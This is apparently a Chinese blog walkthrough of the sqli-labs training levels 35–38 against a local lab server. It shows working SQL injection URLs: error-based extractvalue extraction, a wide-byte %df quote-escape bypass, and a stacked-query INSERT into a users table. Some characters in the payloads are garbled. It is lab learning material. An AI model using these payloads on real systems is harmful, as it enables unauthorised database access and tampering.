LESS-35-36-37-38-39

LESS-35在这里插入图片描述
由于id没有被单引号括起来所以addslashes起不到作用所以俺正常提交即可。

输入:
http://127.0.0.1/sqlilabs/Less-35/?id=-1 and extractvalue(1,concat(0x7e,(select database()),0x7e))–+在这里插入图片描述
less-36在这里插入图片描述
本体的本质和前面相同不过采用的是MySQL_rea在这里插入图片描述l_escape_string过滤\。

http://127.0.0.1/sqlilabs/Less-36/?id=1�' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=�' user�'),0x7e))–+

输入:
http://127.0.0.1/sqlilabs/Less-36/?id=1�’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+在这里插入图片描述LESS-37在这里插入图片描述
在这里插入图片描述添加了
输入:admin %df%27and extractvalue(1,concat(0x7e,(select database()),0x7e))–+在这里插入图片描述
LESS-38在这里插入图片描述
这个是检查PHP是否连接上MYSQL,就是一个判断函数在这里插入图片描述1、mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
2、可以调用mysql_fetch_row()来获取结果集中的行,或调用mysql_row_seek()和mysql_row_tell()来获取或设置结果集中的当前行位置。一旦完成了对结果集的操作,必须调用mysql_free_result()。
3、而mysql_store_result()得到result是存下来的,你无需把全部行结果读完,就可以进行另外的查询。比如你进行一个查询,得到一系列记录,再根据这些结果,用一个循环再进行数据库查询,就只能用mysql_store_result()
4、my_bool mysql_more_results(MYSQL *mysql) 如果当前执行的查询存在多个结果,返回“真”,而且应用程序必须调用mysql_next_result()来获取结果。
输入:http://127.0.0.1/sqlilabs/Less-38/?id=1’; insert into users(id,username,password) values (‘38’,‘less’,‘hello’)–+ (单引号没输入会出错)
在这里插入图片描述
成功添加:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值